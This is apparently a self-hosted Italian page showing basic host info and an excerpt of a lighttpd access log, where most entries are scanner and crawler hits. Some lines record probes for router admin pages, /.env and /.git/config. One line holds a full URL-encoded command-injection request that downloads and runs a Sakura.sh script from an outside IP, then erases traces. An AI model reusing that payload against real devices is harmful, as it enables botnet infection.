Informazioni generali sull'host arietta:

Linux arietta 4.2.6 #7 Fri Jan 22 16:17:34 CET 2016 armv5tejl GNU/Linux 

Uno sguardo al log di accesso di lighttpd:

149.50.96.114 2.45.51.182:80 - [31/Jul/2025:22:45:38 +0200] "GET / HTTP/1.1" 200 16848 "-" "Mozilla/5.0"
198.235.24.84 - - [31/Jul/2025:22:49:23 +0200] "GET / HTTP/1.0" 301 0 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
204.76.203.219 2.45.51.182:80 - [31/Jul/2025:22:51:01 +0200] "GET / HTTP/1.1" 200 16848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46"
141.98.11.44 2.45.51.182:80 - [31/Jul/2025:23:06:11 +0200] "POST /boaform/admin/formLogin HTTP/1.1" 404 345 "http://2.45.51.182:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
141.98.11.44 - - [31/Jul/2025:23:06:11 +0200] "" 400 349 "-" "-"
89.42.231.140 2.45.51.182:80 - [31/Jul/2025:23:06:48 +0200] "GET /cgi-bin/luci/;stok=/locale HTTP/1.1" 404 345 "-" "-"
91.224.92.17 2.45.51.182:80 - [31/Jul/2025:23:12:30 +0200] "GET / HTTP/1.1" 200 16848 "-" "-"
149.50.96.5 2.45.51.182:80 - [31/Jul/2025:23:13:30 +0200] "GET /admin/login.asp HTTP/1.1" 404 345 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36"
207.154.240.88 2.45.51.182 - [31/Jul/2025:23:14:37 +0200] "GET /.env HTTP/1.1" 404 345 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);"
207.154.240.88 2.45.51.182 - [31/Jul/2025:23:14:37 +0200] "GET /.git/config HTTP/1.1" 404 345 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);"
206.168.34.126 2.45.51.182 - [31/Jul/2025:23:47:09 +0200] "GET / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
206.168.34.126 - - [31/Jul/2025:23:47:16 +0200] "PRI * HTTP/2.0" 501 357 "-" "-"
206.168.34.126 casettanostrabis.myfritz.link - [31/Jul/2025:23:47:58 +0200] "GET / HTTP/1.1" 200 16866 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
206.168.34.126 casettanostrabis.myfritz.link - [31/Jul/2025:23:48:13 +0200] "GET /favicon.ico HTTP/1.1" 404 345 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
47.121.210.129 2.45.51.182:80 - [31/Jul/2025:23:48:20 +0200] "GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=uname%20-a;cd+%2Ftmp+%7C%7C+cd+%2Fvar%2Frun+%7C%7C+cd+%2Fmnt+%7C%7C+cd+%2Froot+%7C%7C+cd+%2F%3B+wget+http%3A%2F%2F146.103.53.43%2FSakura.sh%3B+chmod+777+%2A%3B+sh+Sakura.sh%3B+rm+-rf+%2A.sh%3B+history+-c HTTP/1.1" 404 345 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
206.168.34.126 - - [31/Jul/2025:23:48:21 +0200] "PRI * HTTP/2.0" 501 357 "-" "-"
206.168.34.126 casettanostrabis.myfritz.link - [31/Jul/2025:23:49:24 +0200] "GET /favicon.ico HTTP/1.1" 404 345 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
206.168.34.126 - - [31/Jul/2025:23:49:32 +0200] "PRI * HTTP/2.0" 501 357 "-" "-"
206.168.34.126 casettanostrabis.myfritz.link - [31/Jul/2025:23:50:07 +0200] "GET /wiki HTTP/1.1" 404 345 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
216.73.216.246 casettanostrabis.myfritz.link - [31/Jul/2025:23:54:02 +0200] "GET /robots.txt HTTP/1.1" 200 134 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"